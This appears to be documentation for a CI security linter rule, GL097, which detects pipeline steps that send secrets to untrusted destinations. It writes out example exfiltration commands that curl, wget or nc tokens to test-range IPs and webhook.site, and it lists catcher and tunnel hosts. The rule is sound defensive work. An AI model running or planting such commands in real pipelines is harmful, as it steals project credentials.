Rules / GL097
GL097 Secret sent to an untrusted destination
Severity: error
OWASP: CICD-SEC-4 – Poisoned Pipeline Execution
CWE: CWE-522 – Insufficiently Protected Credentials
Risk
A script step that references a secret-like variable ($DEPLOY_TOKEN, $AWS_SECRET_ACCESS_KEY, $CI_JOB_TOKEN, …) and, in the same connected pipeline, sends data off the runner to a destination no pipeline legitimately publishes to is credential exfiltration: the secret leaves the boundary the CI system was protecting it inside, and masking does nothing about it — masking only hides the value in the job log, not where it goes.
The tell is the destination, not the pairing. A secret next to a curl is how a pipeline publishes a release (a token POSTed to the project's own registry or webhook) and how a poisoned pipeline steals one — the two are the same shape, and what separates them is where the data goes. GL097 fires only when the target is one a project could not own:
- a public, globally-routable bare-IPv4 URL (
https://203.0.113.5/…) — loopback, RFC1918/ULA private, link-local, and CGNAT addresses are not flagged (an internal registry reached by a private IP is legitimate); or - a known request/webhook catcher, tunnel or OAST host —
webhook.site,requestbin.*,requestcatcher.com,pipedream.net,*.ngrok.io,*.ngrok-free.app,*.trycloudflare.com,*.loca.lt,serveo.net,interact.sh,oast.*,burpcollaborator.net,beeceptor.com.
This is the shape of the GhostAction campaign (2026): a planted curl to a raw IP with named secrets on one line, across thousands of repositories.
What glsec checks
Across every script surface (script:, before_script:, after_script:, default:, hooks:, run: steps), within one connected shell pipeline:
- a reference to a secret-like variable — a name carrying
TOKEN,SECRET,PASSWORD,PASSWD,CREDENTIAL,APIKEY/API_KEY, or ending a segment with_KEY; and - an egress command (
curl,wget,nc/ncat/netcat); and - an untrusted destination (above) as that command's URL argument or
nchost operand.
Trigger example
exfiltrate:
script:
- curl --data "token=$DEPLOY_TOKEN" https://203.0.113.5/collect
Also flagged: wget --post-data="key=$AWS_SECRET_ACCESS_KEY" https://webhook.site/$HOOK, and echo "$API_TOKEN" | nc 198.51.100.7 4444.
What is not flagged
- A secret sent to a named service domain the project could own:
curl --data "token=$DEPLOY_TOKEN" https://registry.example.com/upload— publishing. - A secret reaching a private/internal address:
curl -u "ci:$REGISTRY_PASSWORD" http://10.0.0.5/v2/— an internal registry. - An egress call with no secret-like variable in the pipeline.
- A secret and an egress that sit in different commands joined by
;,&&or||(only one connected|pipeline is paired).
Forwarding the GitLab job token to any non-GitLab host — a broader destination, warn severity — is GL004. Both rules may fire on the narrow overlap (the job token to an untrusted drop point).
Safe alternative
Send secrets only to services the project owns, addressed by a hostname (ideally a CI/CD variable), never to a bare public IP or a catch-all endpoint:
publish:
script:
- curl --data "token=$DEPLOY_TOKEN" https://registry.example.com/upload
If a step both reads and transmits a secret, confirm the destination is one this project controls. Rotate any secret that has been sent to an untrusted endpoint.
Notes
- Severity is
error. - Commands are read with shell parsing, so a destination inside a quoted string that is not run is text, not a command.
- Script-line rule; assumes POSIX shell.
- Complements GL004 (GitLab job token to a non-GitLab host), GL083 (reverse shell and network exfiltration) and GL094 (SSH private key staged for exfiltration).
- Suppress per-file with
.glsec-ignoreor inline# glsec:ignore GL097.
References
- GL004: CI_JOB_TOKEN sent to a non-GitLab host
- GL083: reverse shell, backdoor or credential exfiltration in script
- GL094: SSH private key read and staged for exfiltration
Documentation for glsec 1.29.0. Source of this page · Rule implementation